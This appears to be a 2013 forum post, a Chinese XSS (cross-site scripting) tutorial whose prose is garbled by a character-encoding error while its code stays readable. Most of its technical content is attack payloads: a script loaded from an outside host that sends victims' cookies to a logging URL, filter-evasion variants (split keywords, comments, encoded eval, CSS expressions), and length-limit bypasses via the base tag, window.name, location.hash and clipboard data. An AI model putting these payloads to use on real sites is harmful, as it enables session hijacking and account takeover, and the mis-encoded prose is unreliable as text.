admin ·¢±íÓÚ 2013-1-11 21:36:39

XSS¿çÕ¾½Å±¾¹¥»÷³õ̽

XSS¿çÕ¾½Å±¾¹¥»÷µÄ»ù±¾Ô­ÀíºÍSQL ×¢Èë¹¥»÷ÀàËÆ£¨¸öÈ˹۵㣩£¬¶¼ÊÇÀûÓÃϵͳִÐÐÁËδ¾­¹ýÂ˵ÄΣÏÕ´úÂ룬²»Í¬µãÔÚÓÚXSSÊÇÒ»ÖÖ»ùÓÚÍøÒ³½Å±¾µÄ×¢È뷽ʽ£¬Ò²¾ÍÊǽ«½Å±¾¹¥»÷ÔØºÉдÈëÍøÒ³Ö´ÐÐÒÔ´ïµ½¶ÔÍøÒ³¿Í»§¶Ë·ÃÎÊÓû§¹¥»÷µÄÄ¿µÄ£¬ÊôÓÚ¿Í»§¶Ë¹¥»÷¡£¶øSQL×¢Èë¹¥»÷½«Î£ÏÕ´úÂëÈÆ¹ýÕý³£µÄÎı¾ÊäÈë±äΪ¿ÉÖ´ÐеÄSQLÖ´ÐÐÓï¾ä´Ó¶ø²Ù×ÝÊý¾Ý¿â£¬´Ó¶ø½øÒ»²½Ì½²â¡¢²Ù×ÝÊý¾Ý¿âÐÅÏ¢¡£ÊôÓÚ·þÎñÆ÷¹¥»÷£¿£¨²ËÄñ¿´·¨£©¡£
XSS¹¥»÷ǰ×ࣨXSS bug ¼ì²â£©
¡¡¡¡1¡¢×î³£¼ûµÄ×î¾­µäµÄXSS bug¼ì²âÓï¾ä±ØÈ»ÊÇ
¡¡¡¡<script>alert(/XSS/)</script>                                        ¢Ù
¡¡¡¡±ÈÈçÔÚ´æÔÚXSS bugµÄÁôÑÔ°åÉÏдÉÏÁôÑÔ¢Ù,µ±·ÃÎÊÁôÑÔ°åÍøÒ³Ê±»áµ¯³ö¶Ô»°¿ò:

Õâ±íÃ÷ÎÒÃÇÊäÈëµÄÓï¾ä±»Ô­ÑùдÈëµÄÍøÒ³²¢±»ä¯ÀÀÆ÷Ö´ÐÐÁË.ÄÇôÎÒÃǾÍÓлú»áÖ´ÐÐÎÒÃǵĽű¾¹¥»÷ÔØºÉ:
<script src = http://www.labsecurity.org/xssbug.js></script>
ÔÚÎÒÃǵÄÍøÂç¿Õ¼äwww.labsecurity.orgÉϵÄxssbug.js´úÂë¿ÉÒÔÊÇ
Var img = document.createElement(¡°img¡±);
Img.src = ¡°http://www.labsecurity.org/log?¡±+escape(document.cookie);
document.body.appendChild(img);
Èç¹ûÎÒÃÇÈçÉÏ´úÂë˳ÀûÖ´ÐÐ,ÄÇô±»¹¥»÷ÕßÔÚÄ¿±êÍøÕ¾µÄµÇ¼cookie¾Íд½øÁËlog.µÃµ½Æäcookieºó,½øÐÐä¯ÀÀÆ÷ÖØÐ·¢°ü¾Í¿ÉÒÔÒÔ±»¹¥»÷ÕßÉí·ÝµÇ¼Ŀ±êÍøÕ¾.(±»¹¥»÷Õß¿ÉÒÔÊÇÆÕͨÓû§Ò²¿ÉÒÔÊ¹ÍøÕ¾³¬¼¶¹ÜÀíÔ±).
¡¡¡¡½«ÇÔÈ¡cookieµÄ´úÂë»»³ÉÏÂÔØÕßµØÖ·¾Í¿ÉÒÔ½«ÏÂÔØÕßÏÂÔØµ½´æÔÚÏÂÔØÕß¹¥»÷©¶´µÄÓû§µçÄÔÉÏ.
¡¡¡¡Ò²¿ÉÒÔ½«´úÂë»»³ÉÄ¿±êÓû§ÔÚÍøÕ¾ÉϵÄijЩ²Ù×÷µÄ Êý¾Ý°ü½Å±¾.´ÙʹÔÚ²»ÖªÇéµÄÇé¿öÏ¡±×ÔÔ¸¡±½øÐÐijЩ²Ù×÷.
¡¡¡¡¶ÔÓÚCookieÇÔÈ¡µÄ·ÀÓù¿ÉÒÔʹ£É£Ð°ó¶¨µÈ·½°¸ÁË£®
¡¡¡¡
¡¡¡¡¼ÈÈ»´æÔڣأӣӹ¥»÷ÄÇô³ÌÐòÔ±ÔÚ¿ª·¢Ê±±ØÈ»»á½øÐÐijЩΣÏչؼü×ֵĹýÂË£¬ÒÔ¼°ÏÞÖÆÓû§µÄÊäÈ볤¶È£®ÕâÑù¼´Ê¹´æÔÚ£ø£ó£ó©¶´£®£È£á£ã£ëÒ²Ö»Äܼì²â£¬È´²»Äܹ»Ð´Èë¹¥»÷ÔØºÉ£¨³¤¶ÈÏÞÖÆ°¡£©£®
¡¡¡¡ÀûÓÃIMGͼƬ±ê¼ÇÊôÐÔ¿çÕ¾
µ±È»Ò²¿ÉÒÔÏñÉÏÃæËù˵µÄÔÚÁôÑÔ°åÖÐÊäÈë
<img src=¡±javacript:alert(/XSS/)¡±></img>
ÕâËù˵µÄ²»ÊÇÕâÑùÊÇÔÚÓû§ÉÏ´«Í¼Æ¬Ê±½«Í¼Æ¬Â·¾¶ÐÞ¸ÄΪһ¶Î¿ÉÖ´ÐеÄXSS²âÊԽű¾.
Èç¹û´æÔÚXSS©¶´ÄÇô´ËÀà½Å±¾¾Í»á±»Ö´ÐÐ.ÕâÀà½Å±¾Òª±ÕºÏË«ÒýºÅ¡±>¡±µÈ.
¡¡¡¡ÀûÓÃDIV±êÇ©ÊôÐÔ¿çÕ¾
<div style=¡±width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};¡±></div>
¡¡¡¡ÀûÓÃÒÑ֪ʼþ¹¥»÷
ÒÆ¶¯ÌØÐ§×Ö<marquee>ÎÄ×Ö</marquee>
¡¡¡¡<marquee onsB.<div style=¡±¡± onmouseenter=¡±alert(/XSS/)¡±>ÎÄ×Ö</div>
¡¡¡¡¹¹Ôìʼþ
<img style=¡±#¡± style=¡±TEST:e&shy;xpression(alert(/XSS/));¡±>
³£ÓõÄʼþ¹¹Ôì
<font style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></font>
<li style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></li>
<table style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></table>
<a style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></a>
<b style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></b>
<ul style = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></ul>
<marque tyle = ¡°TEST:e&shy;xpression(alert(/XSS/))¡±></marquee>
Í»ÆÆ³ÌÐòÔ±µÄ¹ýÂËÏÞÖÆ
¡¡¡¡ÀûÓÃjavascript»»ÐÐÓë¿Õ¸ñÍ»ÆÆ¹ýÂË
¡¡¡¡<img src = j ava script:al er t(/XSS/)>///¿Õ¸ñʹÓÃTab¼ü²úÉú
¡¡¡¡<img src = j
¡¡¡¡ava script :a ler t(/xss/)>
¡¡¡¡ÀûÓÃ×¢ÊÍ<img src = ¡°#¡±/**/onerror = alert(/XSS/)>
¡¡¡¡×ª´úÂë,ÈÆ¹ýÂË
¡¡¡¡Ê¹ÓôóСдת»»Èƹý¹ýÂË
¡¡¡¡Ê¹ÓýøÖƱàÂë
¡¡¡¡¿Õ¸ñ»Ø³µ·û
¡¡¡¡
¡¡¡¡JS »¹Ô­º¯Êý·¨
¡¡¡¡String.fromCharCode()¿ÉÒÔ½«ASCII±àÂ뻹ԭ³É×Ö·û´®,ÄÇô¾Í¿ÉÒÔeval(String.fromCharCode(97,108,101.....))
Í»ÆÆ³¤¶ÈÏÞÖÆ
×¢ÊÍ·û±ÕºÏÏàÁÚµÄÊäÈë¿ò´ïµ½ºÏ²¢µÄÄ¿µÄ
<input id = 1 type = ¡°text¡± value=¡±¡±/>
<input id = 2 type = ¡°text¡± value = ¡°¡±/>
ÕâÑùÎÒÃÇ¿ÉÒÔÔÚµÚÒ»¸ö¿òÖÐÊäÈ롱>alert<!--
ÔÚµÚ¶þ¸öÊäÈë¿òÖÐÊäÈë--><script>(/XSS/);</script>
ÕâÑùЧ¹û¾ÍÊÇ
<input id = 1 type = ¡°text¡± value=¡±¡± <script>alert(/XSS/)</script>¡±/>
ʹÓÃ<base>±êÇ©½øÐÐÏà¶Ô·¾¶½Ù³Ö
<body>tart=¡±alert(/XSS/)¡±>ÎÄ×Ö</marquee>
<base href=¡±http://www.labsecurity.org¡±/>
<img src = ¡°evil.js¡±>
<body>
µ±ÎÒÃÇûÓÐʹÓÃbase±êǩʱevil.jsÊǵ÷ÓõķþÎñÆ÷¸ùĿ¼ÏµÄevil.js½Å±¾Îļþ.µ±ÎÒÃÇʹÓÃ<base>½Å±¾ºó.ÄÇôÔڴ˱êÇ©ºóµÄËùÓÐÏà¶Ô·¾¶ÎªÎÒÃÇÉèÖõÄÍøÕ¾.
Òò´Ë¿ÉÒÔÏÈʹÓÃ<base>½Å±¾½Ù³Ö,È»ºóÔÙдÈë<img src=¡±xxx.js¡±>Í»ÆÆ³¤¶ÈÏÞÖÆ.
ʹÓÃwindow.name½øÐÐ×Ö·û´®´«µÝ
ÔÚÎÒÃÇ×Ô¼ºµÄ¹¹ÔìµÄÒ³ÃæÖÐдÈëÈçÏ´úÂë
<script>
Window.name=¡±<script src=http://www.labsecurity.org/xss.js><script>¡±
Window.location=¡±http://www.xxxx.com/xxx.asp¡±
</script>
µ±ÎÒÃÇÌø×ªµ½Ä¿±êÍøÒ³Ê±ÎÒÃǵÄwindow.nameֵΪÎÒÃÇÉèÖõĿçÕ¾½Å±¾Óï¾ä.
Òò´ËÎÒÃÇ¿ÉÒÔʹÓÃeval(name)½øÐпçÕ¾¹¥»÷.
ÀûÓÃÉÏÏÂÎÄÀ©Õ¹³¤¶È
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
ÉÏÎÄÊDz»ÏÞÖÆ³¤¶ÈµÄ°²È«Êý¾Ý,ÄÇôÎÒÃǾͿÉÒÔÔÚÏÂÎÄÖÐʹÓô˰²È«Êý¾Ý.½øÐÐXSS¹¥»÷Í»ÆÆ³¤¶È.
5.ÀûÓÃURL ÖеÄÊý¾Ý
Èç¹ûÒ³ÃæÀï²»´æÔÚÉÏÒ»½ÚËù˵µÄ¿É¿ØHTML ÉÏÏÂÎÄÊý¾ÝÔõô°ì£¿ÓÐЩÊý¾ÝÊÇÎÒÃÇÎÞÌõ¼þ¿É¿ØµÄ£¬µÚÒ»¸öÏëµ½µÄ¾ÍÊÇURL£¬Í¨¹ýÔÚURL µÄβ²¿²ÎÊý¹¹ÔìÒªÖ´ÐеĴúÂ룬ȻºóÔÚXSSµãͨ¹ý
document.URL/location.href µÈ·½Ê½»ñµÃ´úÂëÊý¾ÝÖ´ÐУ¬ÕâÀï¼ÙÉè´úÂë´ÓµÚ80 ¸ö×Ö·û¿ªÊ¼µ½
×îºó£º
--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
³¤¶È£º30
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
³¤¶È£º31
ÉÏÃæÁ½¸öÀý×ӶԱȣ¬Ç°Ò»¸öÀý×Ó¸ü¶Ì£¬ÄÇôÓÐûÓа취¸ü¶ÌÄØ£¿Í¨¹ý²éÔÄJavascript ÊÖ²á
µÄString µÄ·½·¨¿ÉÒÔ·¢ÏÖ£¬Çиî×Ö·û´®ÓÐÒ»¸ö¸ü¶ÌµÄº¯Êýslice£¬5 ¸ö×Ö·û±Èsubstr »¹Òª¶ÌÒ»¸ö×Ö·û£º
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
³¤¶È£º29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
³¤¶È£º30
ÄÇô»¹ÓÐûÓа취¸ü¶ÌÄØ£¿´ð°¸ÊÇYES£¬²éÔÄÒ»ÏÂMSND ÀïµÄlocation ¶ÔÏóµÄ²Î¿¼Äã»á·¢ÏÖÓиöhash ³ÉÔ±£¬»ñÈ¡#Ö®ºóµÄÊý¾Ý£¬ÄÇôÎÒÃÇ¿ÉÒÔ°ÑÒªÖ´ÐеĴúÂë·ÅÔÚ#ºóÃæ£¬È»ºóͨ¹ýhash»ñµÃ´úÂëÖ´ÐУ¬ÓÉÓÚ»ñµÃµÄÊý¾ÝÊÇ#¿ªÍ·µÄ£¬ËùÒÔÖ»ÐèÒªslice Ò»¸ö×Ö·û¾Í¿ÉÒÔÄõ½´úÂ룺
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
³¤¶È£º29
ÕâÑù±ÈÉÏÃæµÄÀý×ÓÓÖÉÙÁËÒ»¸ö×Ö·û¡£ÄÇô»¹¿ÉÒÔ¸ü¶Ìô£¿
6.¼ôÇаåclipboardData
¹¥»÷ÕßÔÚ×Ô¼ºÓòµÄÒ³ÃæÉÏͨ¹ýclipboardData °ÑPayload дÈë¼ôÇа壬ȻºóÔÚ±»XSS Ò³Ãæ»ñÈ¡²¢Ö´ÐиÃÊý¾Ý¡£¹¥»÷Õß¹¹ÔìµÄÒ³Ãæ£º
--code-------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
-------------------------------------------------------------------------------
±»XSS µÄÒ³Ãæ£º
--code-------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
-------------------------------------------------------------------------------
³¤¶È£º36
ÕâÖÖ·½Ê½Ö»ÊÊÓÃÓÚIE ϵÁУ¬²¢ÇÒÔÚIE 7 ¼°ÒÔÉϰ汾µÄä¯ÀÀÆ÷»áÓа²È«Ìáʾ
Ò³: [1]
²é¿´ÍêÕû°æ±¾: XSS¿çÕ¾½Å±¾¹¥»÷³õ̽